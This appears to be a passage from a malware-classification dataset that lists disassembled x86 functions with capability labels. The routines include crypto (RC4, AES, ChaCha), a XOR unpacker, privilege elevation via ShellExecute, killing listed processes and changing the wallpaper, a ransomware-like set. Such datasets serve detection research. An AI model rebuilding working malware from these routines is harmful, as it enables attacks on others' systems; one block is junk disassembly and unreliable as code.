joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42cd00
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x42cdd2
sub esp, 0x30
movzx ecx, byte [esp + 0x40]
test cl, cl
je 0x42cd3d
lea eax, [0x4cb085]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.004391b0
movzx ecx, byte [esp + 0x40]
mov dword [esp + 8], 0
mov edx, dword [esp + 0x38]
test edx, edx
jne 0x42cd51
test cl, cl
jmp 0x42cdbf
mov ebx, dword fs:[0x14]
mov ebx, dword [ebx]
lea edi, [esp + 0xc]
xor eax, eax
call fcn.00460617
lea ecx, [0x42cde0]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], edx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0x34]
mov dword [esp + 0x24], ecx
movzx ecx, byte [esp + 0x40]
mov byte [esp + 0x28], cl
lea edx, [esp + 8]
mov dword [esp + 0x2c], edx
lea edx, [esp + 0xc]
mov dword [esp], edx
call fcn.0045ef20
movzx ecx, byte [esp + 0x40]
test cl, cl
je 0x42cdc6
call fcn.004392e0
mov eax, dword [esp + 8]
mov dword [esp + 0x44], eax
add esp, 0x30
ret
call fcn.0045f030
jmp fcn.0042cd00
Function at 0x44fbf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x44fd77
sub esp, 0x10
mov ecx, dword [esp + 0x18]
test ecx, ecx
jbe 0x44fd6d
mov edx, dword [esp + 0x14]
movzx ebx, byte [edx]
test ebx, ebx
jne 0x44fc4c
movzx ebp, byte [esp + 0x28]
xchg ebp, eax
test al, al
xchg ebp, eax
jne 0x44fc4c
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov byte [esp + 0x38], 0
add esp, 0x10
ret
test ebx, 0x80
je 0x44fc5f
xor eax, eax
xor ebx, ebx
xor ebp, ebp
jmp 0x44fd42
mov eax, 1
mov ebp, ebx
and ebx, 1
neg ebx
shr ebp, 1
xor ebx, ebp
mov ebp, dword [esp + 0x24]
add dword [ebp], ebx
cmp ecx, eax
jb 0x44fd34
sub ecx, eax
mov ebx, dword [esp + 0x1c]
sub ebx, eax
mov ebp, ebx
neg ebx
sar ebx, 0x1f
and eax, ebx
lea ebx, [edx + eax]
test ecx, ecx
jbe 0x44fd2b
movzx edx, byte [edx + eax]
test edx, 0x80
je 0x44fcb6
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ebp
xor eax, eax
xor edx, edx
xor esi, esi
jmp 0x44fcff
mov eax, 1
cmp eax, ecx
ja 0x44fced
mov esi, dword [esp + 0x20]
add dword [esi], edx
sub ebp, eax
mov edx, ebp
xchg ebp, ebx
neg ebx
xchg ebp, ebx
sar ebp, 0x1f
and ebp, eax
add ebx, ebp
mov dword [esp + 0x2c], ebx
sub ecx, eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], edx
mov byte [esp + 0x38], 1
add esp, 0x10
ret
call fcn.00460530
lea esi, [ecx + 7]
mov ecx, dword [esp + 8]
mov eax, ebp
mov ebp, dword [esp + 0xc]
cmp eax, ecx
jae 0x44fd26
movzx edi, byte [eax + ebx]
lea ebp, [eax + 1]
mov eax, edi
and edi, 0x7f
mov ecx, esi
shl edi, cl
or edx, edi
test al, 0x80
jne 0x44fcf2
mov ecx, dword [esp + 8]
mov eax, ebp
mov ebp, dword [esp + 0xc]
jmp 0x44fcbb
call fcn.004604d0
xor eax, eax
mov ecx, eax
call fcn.004604c0
call fcn.00460530
lea ebp, [ecx + 7]
mov ecx, dword [esp + 0x18]
mov eax, edi
cmp ecx, eax
jbe 0x44fd68
movzx esi, byte [eax + edx]
lea edi, [eax + 1]
mov eax, esi
and esi, 0x7f
mov ecx, ebp
shl esi, cl
or ebx, esi
test al, 0x80
jne 0x44fd39
mov ecx, dword [esp + 0x18]
mov eax, edi
jmp 0x44fc64
call fcn.004604d0
xor eax, eax
mov ecx, eax
call fcn.004604c0
nop
call fcn.0045f030
jmp fcn.0044fbf0
Function at 0x454140
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x454240
sub esp, 0x28
mov eax, dword [esp + 0x2c]
mov dword [eax + 0x8c], 0
mov dword [eax + 0x90], 0
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov ecx, dword [ecx + 0x58]
mov dword [eax + 0x94], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp], ecx
call fcn.004549d0
mov eax, dword [esp + 4]
mov dword [esp + 0x14], eax
lea ecx, [0x4b93c0]
mov dword [esp], ecx
call fcn.0040b810
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [eax], ecx
lea ecx, [0x583330]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
mov dword [esp + 0xc], 1
call fcn.004539c0
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov ecx, dword [esp + 0x2c]
mov edx, dword [ecx + 0x50]
mov ecx, dword [ecx + 0x54]
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], eax
mov byte [esp], 0xd
mov dword [esp + 4], 2
lea eax, [esp + 0x18]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 2
mov dword [esp + 0x10], 2
call fcn.00452de0
add esp, 0x28
ret
call fcn.0045f030
jmp fcn.00454140
Function at 0x4577b0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x45784f
sub esp, 0x30
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
mov dword [esp + 8], ecx
mov dword [esp + 4], 0
lea edi, [esp + 0xc]
xor eax, eax
call fcn.00460617
lea ecx, [0x457860]
mov dword [esp + 0xc], ecx
lea ecx, [esp + 4]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x14], ecx
lea ecx, [esp + 0x34]
mov dword [esp + 0x18], ecx
mov ecx, dword [esp + 8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x2c], ecx
lea ecx, [esp + 0xc]
mov dword [esp], ecx
call fcn.0045ef20
mov ecx, dword [esp + 4]
mov dword [esp + 0x44], ecx
add esp, 0x30
ret
call fcn.0045f030
jmp fcn.004577b0
Function at 0x4602f0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0x59ef20]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x45eabb
je 0x45eb0e
cmp ebx, 0x20
jbe 0x45eb14
cmp ebx, 0x40
jbe 0x45eb5a
jmp 0x45ebfb
test ebx, ebx
je 0x45eb04
add eax, 0x10
test ax, 0xff0
je 0x45eaf0
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x4ee300]
pxor xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x4ee400]
jmp 0x45ead8
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x45ead8
pxor xmm1, xmmword [0x59ef30]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
pxor xmm2, xmm0
pxor xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x59ef30]
pxor xmm2, xmmword [0x59ef40]
pxor xmm3, xmmword [0x59ef50]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
pxor xmm4, xmm0
pxor xmm5, xmm1
pxor xmm6, xmm2
pxor xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x59ef30]
pxor xmm2, xmmword [0x59ef40]
pxor xmm3, xmmword [0x59ef50]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x45ec5a
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0x59ec4d], 0
je 0x46030a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x45ea80
jmp fcn.004082d0
Function at 0x460310
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x402b2e
sub esp, 0x10
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp], ecx
mov ecx, dword [esp + 0x18]
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004082d0
mov eax, dword [esp + 0xc]
mov dword [esp + 0x1c], eax
add esp, 0x10
ret
call fcn.0045f030
jmp 0x402af0
cmp byte [0x59ec4d], 0
je 0x46032b
mov eax, dword [esp + 4]
mov ebx, dword [eax + 4]
mov eax, dword [eax]
lea edx, [esp + 0xc]
jmp 0x45ea80
jmp 0x402af0
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x1001dd10
Capabilities:
Encode data using xor

Disassembly:
cmp al, byte [esi]
add ch, bh
or dword [edx - 0xfac039d], eax
out 0x3d, eax
popfd
rcr byte [edx], cl
sub al, 0x15
xor bh, byte [ebx + 0x20]
jnp 0x1001dd20
mov es, word [0x24e7fc35]
in al, 0x99
add dword [ecx + 0x6cca60d4], edi
mov eax, dword [0x41638529]
test dword [ebx + 0x41], esp
pushal
retf 0xa16c
test dword [ebx + 0x41], esp
jno 0x1001dcfe
mov edi, 0x399994cf
imul eax, dword [esi], 0xffffffb0
xor byte [0x872a0ae9], ah
adc dword [ebx + 0x68], esi
je 0x1001dcec
jmp 0x2189072f
arpl word [ebx], sp
les edi, [ebx + 0x53]
pop ss
lahf
xchg esi, eax
popfd
out dx, eax
mov dh, 0x74
sbb bp, ax
fstp xword [ebp + 0x69b5d030]
rol byte [0x7faf522f], cl
sub byte [ecx + edx + 6], dh
pop ds
jo 0x1001dd0b
invalid
Function at 0x403956
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, edx
mov esi, ecx
push 3
xor edx, edx
pop ebx
lea eax, [edi + 2]
div ebx
lea ecx, [eax*4 + 1]
call fcn.00404025
mov dword [ebp - 0x10], eax
test eax, eax
je 0x403a36
mov edx, eax
test edi, edi
je 0x403a33
lea eax, [ebp - 4]
sub eax, esi
xor ecx, ecx
mov dword [ebp - 8], ebx
test edi, edi
je 0x4039a2
mov bl, byte [esi]
dec edi
inc ecx
jmp 0x4039a4
xor bl, bl
mov byte [eax + esi], bl
inc esi
sub dword [ebp - 8], 1
jne 0x403998
movzx ebx, byte [ebp - 3]
sub eax, 3
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ecx
movzx ecx, byte [ebp - 4]
mov eax, ecx
and ecx, 3
shr eax, 2
shl ecx, 4
mov al, byte [eax + 0x401070]
mov byte [edx], al
mov eax, ebx
shr eax, 4
or eax, ecx
mov ecx, dword [ebp - 8]
mov al, byte [eax + 0x401070]
mov byte [edx + 1], al
cmp ecx, 1
jbe 0x403a01
movzx eax, byte [ebp - 2]
and ebx, 0xf
shr eax, 6
shl ebx, 2
or eax, ebx
mov al, byte [eax + 0x401070]
jmp 0x403a03
mov al, 0x3d
mov byte [edx + 2], al
cmp ecx, 2
jbe 0x403a1a
movzx eax, byte [ebp - 2]
and eax, 0x3f
mov al, byte [eax + 0x401070]
jmp 0x403a1c
mov al, 0x3d
mov byte [edx + 3], al
add edx, 4
mov eax, dword [ebp - 0xc]
push 3
pop ebx
test edi, edi
jne 0x403993
mov eax, dword [ebp - 0x10]
mov byte [edx], 0
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403a3b
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0xf0000000
push 0x18
xor edi, edi
lea eax, [ebp - 4]
push edi
push edi
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x403a78
push 0xf0000008
push 0x18
push edi
push edi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
neg eax
sbb eax, eax
and eax, dword [ebp - 4]
jmp 0x403a7b
mov eax, dword [ebp - 4]
pop edi
leave
ret
Function at 0x403bfc
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, ecx
mov ebx, edx
push 8
pop ecx
mov esi, ebx
mov dword [ebp - 4], eax
lea edi, [eax + 0x44]
rep movsd dword es:[edi], dword [esi]
mov esi, dword [ebp + 8]
lea edi, [eax + 0x64]
mov ecx, section..text
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00403bdd
mov esi, dword [ebp - 4]
mov ecx, 0x401004
mov dword [esi + 0x78], eax
call fcn.00403bdd
mov ecx, 0x401008
mov dword [esi + 0x7c], eax
call fcn.00403bdd
mov ecx, 0x40100c
mov dword [esi + 0x80], eax
call fcn.00403bdd
mov ecx, ebx
mov dword [esi + 0x84], eax
call fcn.00403bdd
lea ecx, [ebx + 4]
mov dword [esi + 0x88], eax
call fcn.00403bdd
lea ecx, [ebx + 8]
mov dword [esi + 0x8c], eax
call fcn.00403bdd
lea ecx, [ebx + 0xc]
mov dword [esi + 0x90], eax
call fcn.00403bdd
lea ecx, [ebx + 0x10]
mov dword [esi + 0x94], eax
call fcn.00403bdd
lea ecx, [ebx + 0x14]
mov dword [esi + 0x98], eax
call fcn.00403bdd
lea ecx, [ebx + 0x18]
mov dword [esi + 0x9c], eax
call fcn.00403bdd
lea ecx, [ebx + 0x1c]
mov dword [esi + 0xa0], eax
call fcn.00403bdd
mov ebx, dword [ebp + 8]
mov ecx, ebx
and dword [esi + 0xa8], 0
mov dword [esi + 0xa4], eax
call fcn.00403bdd
lea ecx, [ebx + 4]
mov dword [esi + 0xac], eax
call fcn.00403bdd
lea ecx, [ebx + 8]
mov dword [esi + 0xb0], eax
call fcn.00403bdd
mov edi, dword [ebp - 4]
mov dword [esi + 0xb4], eax
mov esi, ebx
lea edi, [edi + 0x64]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404078
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov ecx, 0x800
call fcn.00404025
mov esi, eax
test esi, esi
je 0x4040bd
push 0x104
push esi
push 0x401a1c
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x4040b6
push ebx
push ebx
push edi
push esi
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
setg bl
mov ecx, esi
call fcn.00404039
pop edi
pop esi
mov al, bl
pop ebx
ret

Function at 0x4040c3
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
lea eax, [ebp - 0x25c]
push 0x401a30
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor ecx, ecx
push 0x44
mov eax, ecx
pop edx
mov byte [ebp + eax - 0x54], cl
inc eax
cmp eax, edx
jb 0x4040e5
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], edx
push eax
lea eax, [ebp - 0x54]
push eax
push ecx
push ecx
push 0x8000000
push ecx
push ecx
push ecx
lea eax, [ebp - 0x25c]
push eax
push 0x401a68
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40412b
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret

Function at 0x40412d
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x288
lea eax, [ebp - 0x288]
push ebx
push esi
push 0x104
push eax
mov esi, ecx
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x40417c
push 0x401aac
lea eax, [ebp - 0x288]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
push ebx
push esi
lea eax, [ebp - 0x288]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
setg bl
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x404182
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
xor bl, bl
push eax
push 8
push 0xffffffffffffffff
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40427d
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x19
push dword [ebp - 8]
call esi
test eax, eax
jne 0x404267
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x404267
mov ecx, dword [ebp - 4]
push edi
call fcn.00404025
mov edi, eax
test edi, edi
je 0x404266
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push 0x19
push dword [ebp - 8]
call esi
test eax, eax
je 0x40425f
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx eax, byte [eax]
dec eax
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
cmp dword [eax], 0x1000
jne 0x40425f
xor ebx, ebx
mov ecx, 0x800
inc ebx
call fcn.00404025
mov esi, eax
test esi, esi
je 0x404258
push 0x400
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x404258
push ebx
xor eax, eax
push eax
push eax
push esi
push 0x401c14
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
test eax, eax
jne 0x404258
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x404235
mov ecx, esi
call fcn.00404039
mov ecx, edi
call fcn.00404039
pop edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
test bl, bl
je 0x40427d
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop ebx
leave
ret

Function at 0x404280
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 4], esi
cmp esi, 0xffffffff
je 0x404327
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x404320
push ebx
push edi
push 0x4c
mov ebx, 0x403620
pop esi
push dword [ebx]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x404301
push dword [ebp - 0x228]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
je 0x404301
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
sub esi, 1
jne 0x4042c8
mov esi, dword [ebp - 4]
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4042c0
pop edi
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
leave
ret
Function at 0x40432a
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov edi, 0x800
mov ecx, edi
call fcn.00404025
mov esi, eax
test esi, esi
je 0x404394
mov ecx, edi
call fcn.00404025
mov edi, eax
test edi, edi
je 0x40438b
push ebx
mov ebx, 0x400
push ebx
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x404383
push esi
push 0x401c20
push ebx
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
mov ecx, edi
call fcn.00404078
test al, al
je 0x404383
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, edi
call fcn.00404039
pop ebx
pop edi
mov ecx, esi
pop esi
jmp fcn.00404039
pop edi
pop esi
ret

Function at 0x404397
Capabilities:
Change the wallpaper
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
lea eax, [ebp - 0x20c]
push eax
push 0xf6
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x404460
push ebx
lea eax, [ebp - 0x414]
xor ebx, ebx
push eax
push ebx
push 0x401c60
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x40445f
push edi
push 0x403618
lea eax, [ebp - 0x414]
push eax
push 0x401c64
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x14
lea eax, [ebp - 0x20c]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40445e
push esi
push ebx
lea eax, [ebp - 4]
push eax
push 1
push section..data
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 1
pop esi
jne 0x40445e
push 3
lea eax, [ebp - 0x20c]
push eax
push ebx
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop ebx
leave
ret